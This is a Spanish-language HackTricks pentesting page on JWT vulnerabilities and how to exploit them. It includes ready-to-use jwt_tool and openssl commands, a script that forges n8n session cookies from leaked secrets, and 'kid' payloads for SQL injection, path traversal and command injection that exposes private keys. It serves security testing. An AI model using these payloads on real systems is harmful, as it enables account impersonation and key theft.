JWT Vulnerabilidades (Json Web Tokens)
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Parte de esta publicación está basada en el excelente post: https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology
Autor de la gran herramienta para pentesting JWTs https://github.com/ticarpi/jwt_tool
Resultados rápidos
Ejecuta jwt_tool con el modo All Tests! y espera las líneas en verde
python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG...<JWT Token>"
Si tienes suerte, la tool encontrará algún caso en el que la aplicación web esté verificando incorrectamente el JWT:
.png)
Luego, puedes buscar la request en tu proxy o extraer el JWT usado para esa request usando jwt_ tool:
python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
You can also use the Burp Extension SignSaboteur to launch JWT attacks from Burp.
Alterar datos sin modificar nada
Puedes simplemente alterar los datos dejando la firma tal cual y comprobar si el servidor está verificando la firma. Intenta cambiar tu nombre de usuario a “admin”, por ejemplo.
¿Se verifica el token?
- Un mensaje de error sugiere que se está realizando la verificación; se deben revisar los detalles sensibles en errores verbosos.
- Un cambio en la página devuelta también indica verificación.
- La ausencia de cambios sugiere que no hay verificación; en ese caso es cuando se debe experimentar alterando los claims del payload.
Origen
Es importante determinar si el token fue generado server-side o client-side examinando el historial de requests del proxy.
- Tokens vistos por primera vez desde el client-side sugieren que la key podría estar expuesta al código del cliente, lo que requiere investigación adicional.
- Tokens que se originan server-side indican un proceso más seguro.
Duración
Verifica si el token dura más de 24h… quizá nunca expire. Si existe el campo “exp”, comprueba si el servidor lo maneja correctamente.
Brute-force HMAC secret
Derivar JWT secrets from leaked config + DB data
Si una lectura arbitraria de archivos (o backup leak) expone tanto application encryption material como user records, a veces puedes recrear el JWT signing secret y forjar session cookies sin conocer contraseñas en texto claro. Patrón de ejemplo observado en stacks de workflow automation:
- Leak la app key (e.g.,
encryptionKey) from a config file. - Leak la tabla de usuarios para obtener
email,password_hash, anduser_id. - Derive the signing secret from the key, then derive the per-user hash expected in the JWT payload:
jwt_secret = sha256(encryption_key[::2]).hexdigest() # signing key
jwt_hash = b64encode(sha256(f"{email}:{password_hash}")).decode()[:10]
token = jwt.encode({"id": user_id, "hash": jwt_hash}, jwt_secret, "HS256")
- Coloca el token firmado en la cookie de sesión (p. ej.,
n8n-auth) para suplantar la cuenta de usuario/admin incluso si el hash de la contraseña está salado.
Modify the algorithm to None
Configura el algoritmo como “None” y elimina la parte de la firma.
Usa la extensión de Burp llamada “JSON Web Token” para probar esta vulnerabilidad y para cambiar distintos valores dentro del JWT (envía la petición a Repeater y en la pestaña “JSON Web Token” puedes modificar los valores del token. También puedes seleccionar poner el valor del campo “Alg” a “None”).
Change the algorithm RS256(asymmetric) to HS256(symmetric) (CVE-2016-5431/CVE-2016-10555)
El algoritmo HS256 usa la secret key para firmar y verificar cada mensaje.
El algoritmo RS256 usa la private key para firmar el mensaje y usa la public key para la autenticación.
Si cambias el algoritmo de RS256 a HS256, el código del back end usa la public key como secret key y luego usa el algoritmo HS256 para verificar la signature.
Entonces, usando la public key y cambiando RS256 a HS256 podríamos crear una signature válida. Puedes recuperar el certificado del servidor web ejecutando esto:
openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
Nueva clave pública dentro de la cabecera
Un atacante inserta una nueva clave en la cabecera del token y el servidor usa esta nueva clave para verificar la firma (CVE-2018-0114).
Esto se puede hacer con la extensión “JSON Web Tokens” de Burp.
(Envía la petición al Repeater, dentro de la pestaña JSON Web Token selecciona “CVE-2018-0114” y envía la petición).
JWKS Spoofing
Las instrucciones detallan un método para evaluar la seguridad de tokens JWT, particularmente aquellos que emplean la claim de cabecera “jku”. Esta claim debe enlazar a un archivo JWKS (JSON Web Key Set) que contiene la clave pública necesaria para la verificación del token.
- Evaluación de tokens con la cabecera “jku”:
- Verifica la URL de la claim “jku” para asegurar que conduce al archivo JWKS apropiado.
- Modifica el valor “jku” del token para redirigirlo hacia un servicio web controlado, permitiendo la observación del tráfico.
- Monitorización de la interacción HTTP:
- Observar solicitudes HTTP a la URL que especificaste indica que el servidor intenta obtener claves desde el enlace proporcionado.
- Al usar
jwt_toolpara este proceso, es crucial actualizar el archivojwtconf.inicon la ubicación de tu JWKS para facilitar las pruebas. - Comando para
jwt_tool:
python3 jwt_tool.py JWT_HERE -X s
Kid Issues Overview
Una claim de cabecera opcional conocida como kid se utiliza para identificar una clave específica, lo cual es particularmente importante en entornos donde existen múltiples claves para la verificación de la firma del token. Esta claim ayuda a seleccionar la clave adecuada para verificar la firma del token.
Revelando la clave a través de “kid”
Cuando la claim kid está presente en la cabecera, se recomienda buscar en el directorio web el archivo correspondiente o sus variaciones. Por ejemplo, si "kid":"key/12345" está especificado, se deberían buscar en la raíz web los archivos /key/12345 y /key/12345.pem.
Path Traversal con “kid”
La claim kid también podría ser explotada para navegar por el sistema de archivos, permitiendo potencialmente la selección de un archivo arbitrario. Es factible probar la conectividad o ejecutar ataques SSRF (Server-Side Request Forgery) alterando el valor kid para apuntar a archivos o servicios específicos. Manipular el JWT para cambiar el valor kid manteniendo la firma original puede lograrse usando la opción -T en jwt_tool, como se muestra a continuación:
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
Al apuntar a archivos con contenido predecible, es posible forjar un JWT válido. Por ejemplo, el archivo /proc/sys/kernel/randomize_va_space en sistemas Linux, conocido por contener el valor 2, puede usarse en el parámetro kid con 2 como contraseña simétrica para la generación del JWT.
SQL Injection via “kid”
Si el contenido del claim kid se emplea para obtener una contraseña de una base de datos, se podría facilitar una SQL injection modificando la carga útil de kid. Un ejemplo de payload que usa SQL injection para alterar el proceso de firma del JWT incluye:
non-existent-index' UNION SELECT 'ATTACKER';-- -
Esta alteración fuerza el uso de una clave secreta conocida, ATTACKER, para la firma del JWT.
OS Injection through “kid”
Un escenario en el que el parámetro kid especifique una ruta de archivo usada dentro de un contexto de ejecución de comandos podría derivar en vulnerabilidades de Remote Code Execution (RCE). Al inyectar comandos en el parámetro kid, es posible exponer claves privadas. Un ejemplo de payload para lograr RCE y la exposición de claves es:
/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&
x5u and jku
jku
jku significa JWK Set URL.
Si el token usa un claim de Header “jku” entonces revisa la URL proporcionada. Esta debería apuntar a una URL que contenga el archivo JWKS que posee la Public Key para verificar el token. Manipula el token para apuntar el valor jku a un servicio web cuyo tráfico puedas monitorizar.
First you need to create a new certificate with new private & public keys
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
Entonces puedes usar por ejemplo jwt.io para crear el nuevo JWT con las claves pública y privada creadas y apuntando el parámetro jku al certificado creado. Para crear un certificado jku válido puedes descargar el original y cambiar los parámetros necesarios.
Puedes obtener los parámetros “e” y “n” de un certificado público usando:
from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print("n:", hex(key.n))
print("e:", hex(key.e))
x5u
X.509 URL. Una URI que apunta a un conjunto de certificados públicos X.509 (un estándar de formato de certificado) codificados en formato PEM. El primer certificado del conjunto debe ser el que se usó para firmar este JWT. Los certificados subsecuentes firman cada uno al anterior, completando así la cadena de certificados. X.509 está definido en RFC 52807. Se requiere seguridad de transporte para transferir los certificados.
Intenta cambiar este header a una URL bajo tu control y comprueba si se recibe alguna request. En ese caso podrías tamper el JWT.
Para forjar un nuevo token usando un certificado controlado por ti, necesitas crear el certificado y extraer las claves públicas y privadas:
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
Then you can use for example jwt.io to create the new JWT with the created public and private keys and pointing the parameter x5u to the certificate .crt created.
.png)
You can also abuse both of these vulns for SSRFs.
x5c
This parameter may contain the certificate in base64:
.png)
If the attacker generates a self-signed certificate and creates a forged token using the corresponding private key and replace the “x5c” parameter’s value with the newly generatedcertificate and modifies the other parameters, namely n, e and x5t then essentially the forgedtoken would get accepted by the server.
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text
Clave pública incrustada (CVE-2018-0114)
Si el JWT tiene incrustada una clave pública como en el siguiente escenario:
.png)
Usando el siguiente script de nodejs es posible generar una clave pública a partir de esos datos:
const NodeRSA = require('node-rsa');
const fs = require('fs');
n ="ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8";
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));
Es posible generar una nueva private/public key, insertar la nueva public key dentro del token y usarla para generar una nueva signature:
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
Puedes obtener “n” y “e” usando este script de nodejs:
const NodeRSA = require('node-rsa');
const fs = require('fs');
keyPair = fs.readFileSync("keypair.pem");
const key = new NodeRSA(keyPair);
const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));
Finalmente, usando la clave pública y privada y los nuevos valores “n” y “e”, puedes usar jwt.io para forjar un JWT válido con cualquier información.
ES256: Revelando la clave privada si se usa el mismo nonce
Si algunas aplicaciones usan ES256 y reutilizan el mismo nonce para generar dos JWTs, se puede restaurar la clave privada.
Aquí hay un ejemplo: ECDSA: Revealing the private key, if same nonce used (with SECP256k1)
JTI (JWT ID)
La claim JTI (JWT ID) proporciona un identificador único para un token JWT. Puede usarse para evitar que el token sea replayed.
Sin embargo, imagina una situación donde la longitud máxima del ID es 4 (0001-9999). La request 0001 y 10001 van a usar el mismo ID. Por tanto, si el backend incrementa el ID en cada request, podrías abusar de esto para replay a request (necesitando enviar 10000 requests entre cada replay exitoso).
Claims registrados de JWT
Otros ataques
Cross-service Relay Attacks
Se ha observado que algunas aplicaciones web dependen de un JWT service de confianza para la generación y gestión de sus tokens. Se han registrado casos en los que un token, generado para un cliente por el JWT service, fue aceptado por otro cliente del mismo JWT service. Si se observa la emisión o renovación de un JWT a través de un servicio de terceros, debe investigarse la posibilidad de registrarse en otra aplicación cliente de ese servicio usando el mismo nombre de usuario/email. A continuación, debería intentarse realizar replay del token obtenido en una request al objetivo para comprobar si es aceptado.
- La aceptación de tu token puede indicar un problema crítico, pudiendo permitir el spoofing de la cuenta de cualquier usuario. No obstante, hay que tener en cuenta que podría requerirse permiso para pruebas más amplias si se registra una cuenta en una aplicación de terceros, ya que esto puede entrar en una zona legal gris.
Comprobación de expiración de tokens
La expiración del token se comprueba usando la claim “exp” del Payload. Dado que los JWTs a menudo se utilizan sin información de sesión, se requiere un manejo cuidadoso. En muchos casos, capturar y realizar replay del JWT de otro usuario podría permitir la suplantación de ese usuario. El JWT RFC recomienda mitigar los JWT replay attacks utilizando la claim “exp” para fijar un tiempo de expiración del token. Además, es crucial que la aplicación implemente las comprobaciones pertinentes para procesar este valor y rechazar tokens expirados. Si el token incluye una claim “exp” y los límites de tiempo de las pruebas lo permiten, se recomienda almacenar el token y realizar replay después de que haya pasado el tiempo de expiración. El contenido del token, incluyendo el parseo de timestamps y la comprobación de expiración (timestamp en UTC), puede leerse usando la bandera -R de jwt_tool.
- Puede existir un riesgo de seguridad si la aplicación sigue validando el token, ya que puede implicar que el token nunca expira.
Herramientas
GitHub - ticarpi/jwt_tool: :snake: A toolkit for testing, tweaking and cracking JSON Web Tokens
Referencias
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.


